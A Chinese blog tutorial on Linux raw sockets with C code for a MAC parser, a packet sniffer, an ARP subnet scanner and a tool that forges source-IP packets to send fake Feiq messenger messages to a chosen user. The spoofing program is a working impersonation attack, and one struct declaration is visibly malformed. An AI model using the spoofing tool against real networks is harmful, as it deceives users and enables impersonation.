溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務(wù)條款》

網(wǎng)絡(luò)駭客初級之原始套接字(SOCK_RAW)

發(fā)布時間:2020-04-09 02:27:15 來源:網(wǎng)絡(luò) 閱讀:8834 作者:Czyy1 欄目:安全技術(shù)

網(wǎng)絡(luò)駭客初級之原始套接字(SOCK_RAW)

本文用實際程序完成了MAC數(shù)據(jù)包分析,網(wǎng)絡(luò)數(shù)據(jù)分析,MAC地址掃描器和飛秋欺騙


在這里我把原來的入門改成了初級,因為對于原始套接字的操作確實在普通的TCP,UDP之上

TCP和UDP確實涵蓋了普通的網(wǎng)絡(luò)應(yīng)用程序,但請注意“普通”二字,要成為一名駭客的你,可不能僅僅滿足于寫一些普通的網(wǎng)絡(luò)小程序,而要直接對所有數(shù)據(jù)包進行分析,還要能夠發(fā)送自己組裝的數(shù)據(jù)包,踏入高級網(wǎng)絡(luò)編程的領(lǐng)域,編寫一些奇特的網(wǎng)絡(luò)程序(嘿嘿?。?。


注意所有程序都是在LINUX系統(tǒng)下實現(xiàn)的,當然在windows下不是不行,只是頭文件什么的有點區(qū)別,留給感興趣的同學去研究吧。


以接收為例,先來分析一個鏈路層的MAC數(shù)據(jù)包吧

還是老套路:

頭文件

#include <stdio.h>

#include <netinet/in.h>

#include <sys/socket.h>

#include <netinet/ether.h>

#include <pthread.h>

#include <stdlib.h>

#include <string.h>

#include <unistd.h>

#include <arpa/inet.h>

#include <fcntl.h>

1.創(chuàng)建原始套接字

int sock_raw_fd = socket(PF_PACKET,SOCK_RAW,htons(ETH_P_ALL));

if(sock_raw_fd < 0)

{

perror("socket");

exit(-1);

}


2.定義接收緩沖區(qū)

unsigned char buf[1024]="";

3.儲存源目的MAC地址緩沖區(qū)

unsigned char src_mac[18]="";

unsigned char dst_mac[18]="";

//從網(wǎng)卡直接接收數(shù)據(jù)包

int ret = recvfrom(sock_raw_fd,buf,sizeof(buf),0,NULL,NULL);

if(-1 != ret)

{

//打印數(shù)據(jù)包的源目的MAC

sprintf(dst_mac,"%02x:%02x:%02x:%02x:%02x:%02x",buf[0],buf[1],buf[2],buf[3],buf[4],buf[5]);

sprintf(src_mac,"%02x:%02x:%02x:%02x:%02x:%02x",buf[6],buf[7],buf[8],buf[9],buf[10],buf[11]);

printf("MAC:%s >> %s\n",src_mac,dst_mac);

printf("type == %02x%02x\n",buf[12],buf[13]);

}

close(sock_raw_fd);


因為在數(shù)據(jù)鏈路層傳輸?shù)乃袛?shù)據(jù)包前14個字節(jié)都是6字節(jié)目的MAC,6字節(jié)源MAC加上2字節(jié)的數(shù)據(jù)幀類型(如:IP:0800,ARP:0806,RARP:8035)

所以本程序取出接收緩沖區(qū)的前12個字節(jié)分別輸出,顯示源目的MAC地址


但我們能做的可不只是分析MAC地址而已,足以寫一個被動網(wǎng)絡(luò)嗅探器了

頭文件

#include <stdio.h>

#include <stdlib.h>

#include <errno.h>

#include <unistd.h>

#include <sys/socket.h>

#include <sys/types.h>

#include <sys/ioctl.h>

#include <netinet/in.h>

#include <netinet/ip.h>

#include <netinet/if_ether.h>

#include <net/if_arp.h>

#include <net/if.h>

#include <net/ethernet.h>

#include <netpacket/packet.h>

#include <netinet/ether.h>

#include <string.h>


//子函數(shù),用于顯示源目的IP地址

void showip(unsigned char *buffer)

{

struct iphdr *iph;

char sipaddr[INET_ADDRSTRLEN] = "";

char dipaddr[INET_ADDRSTRLEN] = "";

iph = (struct iphdr*)(buffer+sizeof(struct ethhdr));

inet_ntop(AF_INET,&iph->saddr,sipaddr,INET_ADDRSTRLEN);

inet_ntop(AF_INET,&iph->daddr,dipaddr,INET_ADDRSTRLEN);

printf("IP: %s >> %s\n",sipaddr,dipaddr);

}


主函數(shù)

int main(int argc, char **argv)

{

int sock, n;

unsigned char buffer[1024];

struct ethhdr *eth;

struct iphdr *iph;

struct ifreq ethreq;

char type[5]="";

uint16_t *port=NULL;

//創(chuàng)建原始套接字

if(0>(sock = socket(PF_PACKET, SOCK_RAW, htons(ETH_P_ALL))))

{

perror("socket");

exit(1);

}

//接收數(shù)據(jù)包

while(1)

{

bzero(buffer,sizeof(buffer));

n=recvfrom(sock,buffer,1024,0,NULL,NULL);

//分析數(shù)據(jù)包類型

sprintf(type,"%02x%02x",buffer[12],buffer[13]);

//0800IP數(shù)據(jù)包

if(0 == strcmp(type,"0800"))

{

printf("============IP===============\n");

//TCP還是UDP

if(0x06 == buffer[23])

{

printf("TCP\n");

}

else if(0x11 == buffer[23])

{

printf("UDP\n");

}

//端口

port= buffer+34;

printf("Port:%d >> ",ntohs(*port));

port= buffer+36;

printf("%d\n",ntohs(*port));

//輸出IP地址

showip(buffer);

}

else if(0 == strcmp(type,"0806"))

{

printf("============ARP===============\n");

showip(buffer);

}

else if(0 == strcmp(type,"8035"))

{

printf("============RARP===============\n");

}

else

{

printf("============%s===============\n",type);

}

eth = (struct ethhdr*)buffer;

//顯示MAC地址

printf("MAC: %02X:%02X:%02X:%02X:%02X:%02X >> %02X:%02X:%02X:%02X:%02X:%02X \n",eth->h_source[0],eth->h_source[1],eth->h_source[2],eth->h_source[3],eth->h_source[4],eth->h_source[5],eth->h_dest[0],eth->h_dest[1],eth->h_dest[2],eth->h_dest[3],eth->h_dest[4],eth->h_dest[5]);

}

}


在這里注意IP數(shù)據(jù)包的格式,一個IP數(shù)據(jù)包的前14個字節(jié)為MAC幀頭部,接上一個20字節(jié)的IP報頭,端口號就在數(shù)據(jù)包的第34個字節(jié)后面,不管是UDP數(shù)據(jù)包還是TCP數(shù)據(jù)包都一樣,兩個字節(jié)的源端口號和兩個字節(jié)的目的端口號。

所以只要按照固定的格式分析接收到的數(shù)據(jù)包就可以了


被動的嗅探器只需要接收數(shù)據(jù),我們還可以發(fā)送數(shù)據(jù)

試試弄一個MAC地址掃描器把

頭文件

#include <stdio.h>

#include <stdlib.h>

#include <errno.h>

#include <unistd.h>

#include <fcntl.h>

#include <sys/socket.h>

#include <sys/types.h>

#include <sys/ioctl.h>

#include <netinet/in.h>

#include <netinet/ip.h>

#include <netinet/if_ether.h>

#include <net/if_arp.h>

#include <net/if.h>

#include <net/ethernet.h>

#include <netpacket/packet.h>

#include <netinet/ether.h>

#include <string.h>

#include <pthread.h>


//創(chuàng)建一個結(jié)構(gòu)體定義套接字和文件描述符

typedef struct arg

{

int fd;

int sock_raw_fd;

}SOCK_FD;

//子線程接收數(shù)據(jù)包

void *recvarp(void *arg)

{

SOCK_FD sock_fds = *(SOCK_FD*)arg;

int sock_raw_fd = sock_fds.sock_raw_fd;

int fd = sock_fds.fd;


while(1)

{

unsigned char recv_buf[100]="";//接收緩沖區(qū)

recvfrom(sock_raw_fd,recv_buf,sizeof(recv_buf),0,NULL,NULL);

if(recv_buf[21] == 2)

{

//打印

unsigned char write_buf[20]="";

sprintf(write_buf,"%d.%d.%d.%d -- %02x:%02x:%02x:%02x:%02x:%02x\r\n",recv_buf[28],recv_buf[29],recv_buf[30],recv_buf[31],recv_buf[6],recv_buf[7],recv_buf[8],recv_buf[9],recv_buf[10],recv_buf[11]);

//寫入文件

write(fd, write_buf, strlen(write_buf));

printf("%s",write_buf);

}

}

}


主函數(shù)

int main(int argc, char **argv)

{

SOCK_FD sock_fds;

int fd;

//創(chuàng)建一個文件用于保存接收的數(shù)據(jù)

fd = open("arplist.txt", O_CREAT|O_RDWR|O_APPEND|O_TRUNC, 0777);

//1創(chuàng)建套接字

int sock_raw_fd;

sock_raw_fd = socket(PF_PACKET,SOCK_RAW,htons(ETH_P_ARP));

if(sock_raw_fd < 0)

{

perror("socket");

exit(-1);

}

//套接字和文件描述符賦值,作為參數(shù)傳給線程

sock_fds.sock_raw_fd = sock_raw_fd;

sock_fds.fd = fd;

pthread_t pth;

pthread_create(&pth,NULL,recvarp,(void *)&sock_fds);

pthread_detach(pth);

//組裝ARP請求包

unsigned char arp[42]={

//-------MAC頭部---------14

0xff,0xff,0xff,0xff,0xff,0xff,//dst MAC廣播包,全FF

0x00,0x0c,0x29,0xa8,0x4a,0xf0,//src MAC自己的MAC地址

0x08,0x06,//pro_type

//-------ARP包---------28

0x00,0x01,0x08,0x00,

0x06,0x04,0x00,0x01,

0x00,0x0c,0x29,0xa8,0x4a,0xf0,//src MAC

10,220,4,16,  //src IP

0x00,0x00,0x00,0x00,0x00,0x00,//DST MAC

// 10,220,4,17  //DST IP

0,0,0,0  //DST IP先寫0,后面再賦值

};

//獲取網(wǎng)卡接口地址

struct ifreq ethreq;

strncpy(ethreq.ifr_name, "eth0", IFNAMSIZ);

int ret = ioctl(sock_raw_fd, SIOCGIFINDEX, &ethreq);

if(ret == -1)

{

perror("ioctl");

close(sock_raw_fd);

exit(-1);

}

//sockaddr_ll 第三個成員賦值

struct sockaddr_ll sll;

bzero(&sll,sizeof(sll));

sll.sll_ifindex = ethreq.ifr_ifindex;

//目的IP賦值,從某一個網(wǎng)段開始

arp[38]=10;

arp[39]=220;

arp[40]=4;

arp[41]=0;

//sendto發(fā)送ARP請求

sendto(sock_raw_fd,arp,42,0,(struct sockaddr*)&sll,sizeof(sll));

//等待ARP應(yīng)答

printf(" IP --  MAC\n");

while(1)//循環(huán)發(fā)送,每次IP地址加一

{

sendto(sock_raw_fd,arp,42,0,(struct sockaddr*)&sll,sizeof(sll));

arp[41]++;

if(arp[41] == 255)

{

break;

}

// printf("send IP:%d.%d.%d.%d\n",arp[38],arp[39],arp[40],arp[41]);

}

//關(guān)閉

close(sock_raw_fd);

close(fd);

return 0;

}


最后,我們再來寫一個針對于飛秋軟件的小程序吧,注意這里使用結(jié)構(gòu)體對數(shù)據(jù)包進行賦值,所以要了解數(shù)據(jù)包的格式

頭文件

#include<stdlib.h>

#include<stdio.h>

#include<errno.h>

#include<string.h>

#include<unistd.h>

#include<netdb.h>

#include<sys/socket.h>

#include<sys/types.h>

#include<netinet/in.h>

#include<netinet/ip.h>

#include<arpa/inet.h>

#include<linux/tcp.h>

#include<linux/udp.h>

#include <fcntl.h>

#include <sys/ioctl.h>

#include <netinet/if_ether.h>

#include <net/if_arp.h>

#include <net/if.h>

#include <net/ethernet.h>

#include <netpacket/packet.h>

#include <netinet/ether.h>


typedef unsigned char uchar;

//定義一個UDP偽頭部結(jié)構(gòu)體,用于UDP校驗

struct falseudp

struct in_addr falseudp_src, falseudp_dst; /* source and dest address */

u_int8_t zero; /* 0 */

u_int8_t proto; /* 17 */

u_int16_t falseudp_len; /* udplen */

u_int16_t source; /* source port */

u_int16_t dest; /* dest port */

u_int16_t len; /* udp length */

u_int16_t check; /* udp checksum */

uchar msg[1024];

};

//計算校驗和

unsigned short checksum(unsigned short *buf, int nword);

//主函數(shù)

int main(int argc, char**argv)

{

char username[20]="";

char hostname[20]="";

char msg_send[728]="";

uchar srcip[17]="";

uchar dstip[17]="";

printf("Fake IP:");

fflush(stdout);

fgets(srcip,sizeof(srcip)-1,stdin);

srcip[strlen(srcip)-1]='\0';

printf("Target IP:");

fflush(stdout);

fgets(dstip,sizeof(dstip)-1,stdin);

dstip[strlen(dstip)-1]='\0';

printf("Target username:");

fflush(stdout);

fgets(username,sizeof(username)-1,stdin);

username[strlen(username)-1]='\0';

printf("Target hostname:");

fflush(stdout);

fgets(hostname,sizeof(hostname)-1,stdin);

hostname[strlen(hostname)-1]='\0';

printf("send msg:");fflush(stdout);

fgets(msg_send,sizeof(msg_send)-1,stdin);

msg_send[strlen(msg_send)-1]='\0';

uchar srcMAC[6]={0xc8,0x9c,0xdc,0xb7,0x0f,0x19};

uchar dstMAC[6]={0x00,0x0c,0x29,0xa8,0x4a,0xf0};

unsigned short check_num;

//創(chuàng)建套接字

int sock_raw_fd;

sock_raw_fd = socket(PF_PACKET, SOCK_RAW, htons(ETH_P_ALL));

if(sock_raw_fd < 0)

{

perror("socket");

exit(-1);

}

//獲取接口地址

struct ifreq ethreq;

strncpy(ethreq.ifr_name, "eth0", IFNAMSIZ);

int ret = ioctl(sock_raw_fd, SIOCGIFINDEX, &ethreq);

if(ret == -1)

{

perror("ioctl");

close(sock_raw_fd);

exit(-1);

}

//sockaddr_ll 第三個成員賦值

struct sockaddr_ll sll;

bzero(&sll,sizeof(sll));

sll.sll_ifindex = ethreq.ifr_ifindex;

//DATA,按照飛秋的消息格式組裝數(shù)據(jù)包(可用wireshark分析出來)

uchar msg[1024]="";

int len = sprintf(msg, "%d:%d:%s:%s:%d:%s", 1, 123, username, hostname, 32, msg_send);

if(0 != (len%2))//還是計算校驗和,數(shù)據(jù)長度必須是偶數(shù),如果是奇數(shù)就在后面加一個0-‘\0’

{

len++;

msg[len]='\0';

}

printf("len:%d\n",len);


//組包,先寫0,后面再用結(jié)構(gòu)體賦值,mac+ip+udp

// uchar buf[2048]="";

uchar buf[2048]={

//MAC 14

0x00,0x00,0x00,0x00,0x00,0x00,//dst MAC

0x00,0x00,0x00,0x00,0x00,0x00,//src MAC

0x08,0x00,//proto_type

};

//源目的IP

memcpy(buf,srcMAC,6);

memcpy(buf+6,dstMAC,6);

//結(jié)構(gòu)體

struct ip *ip;

struct udphdr *udp;

int ip_len,udp_len;

//IP包

ip_len = 20+8+len;

ip=(struct ip*)(buf+14);

ip->ip_v = IPVERSION;

ip->ip_hl = 5;

ip->ip_tos = 0;

ip->ip_len = htons(ip_len);//

ip->ip_id = 0;//0

ip->ip_off = 0;

ip->ip_ttl = MAXTTL;//MAXTTL

ip->ip_p = IPPROTO_UDP;

ip->ip_sum = 0;

inet_pton(AF_INET, srcip, &(ip->ip_src));

inet_pton(AF_INET, dstip, &(ip->ip_dst));

//計算校驗和

check_num = checksum((unsigned short*)ip,10);

printf("ip-check_num:%x\n",check_num);//1ca4 and e9cb

ip->ip_sum = htons(check_num);

//udp包,端口2425

udp_len = 8+len;

udp = (struct udphdr*)(buf+14+20);

udp->source = htons(2425);

udp->dest =htons(2425);

udp->len = htons(udp_len);

udp->check = 0;

//DATA

memcpy(buf+42,msg,len);

// printf("%s\n",buf+42);

//////////

//UDP校驗

struct falseudp falseudp;

struct falseudp *p=NULL;

//偽頭部

inet_pton(AF_INET, srcip, &(falseudp.falseudp_src));

inet_pton(AF_INET, dstip, &(falseudp.falseudp_dst));

falseudp.zero = 0;

falseudp.proto = ip->ip_p;

falseudp.falseudp_len = udp->len;

falseudp.source = udp->source;

falseudp.dest = udp->dest;

falseudp.len = udp->len;

falseudp.check = 0;


memcpy(falseudp.msg,msg,len);

// printf("falseudp.msg:%s\n",falseudp.msg);

//計算UDP校驗和

p=&falseudp;

check_num = checksum((unsigned short*)p,(20+len)/2);

udp->check = htons(check_num);//1ca4 and e9cb

printf("fudp-check_num:%x\n",check_num);

//////////

//發(fā)送數(shù)據(jù)直接用sendto()就可以了

int i=0;

while(1)

{

int ret_send = sendto(sock_raw_fd, buf, 42+len, 0, (struct sockaddr*)&sll,sizeof(sll));

// printf("ret_send:%d\n", ret_send);

i++;

if(i == 1)

{break;}

}

close(sock_raw_fd);

}



//=========================================================================

//函數(shù):unsigned short checksum(unsigned short *buf, int nword)

//作用:用來進行TCP或者UDP的校驗和的計算

//參數(shù):

// buf:進行校驗和的數(shù)據(jù)的起始地址

// nword:進行校驗的數(shù)據(jù)的個數(shù)(注意本函數(shù)是2個Byte進行校驗,所以nword應(yīng)該為

// 實際數(shù)據(jù)個數(shù)的一半)

// UDP檢驗和的計算方法是:

// 1.按每16位求和得出一個32位的數(shù);

// 2.如果這個32位的數(shù),高16位不為0,則高16位加低16位再得到一個32位的數(shù);

// 3.重復(fù)第2步直到高16位為0,將低16位取反,得到校驗和。

//=========================================================================

unsigned short checksum(unsigned short *buf, int nword)

{

unsigned long sum;

for(sum = 0; nword > 0; nword--)

{

sum += htons(*buf);

buf++;

}

sum = (sum>>16) + (sum&0xffff);

sum += (sum>>16);

return ~sum;

}


向AI問一下細節(jié)

免責聲明:本站發(fā)布的內(nèi)容(圖片、視頻和文字)以原創(chuàng)、轉(zhuǎn)載和分享為主,文章觀點不代表本網(wǎng)站立場,如果涉及侵權(quán)請聯(lián)系站長郵箱:is@yisu.com進行舉報,并提供相關(guān)證據(jù),一經(jīng)查實,將立刻刪除涉嫌侵權(quán)內(nèi)容。

AI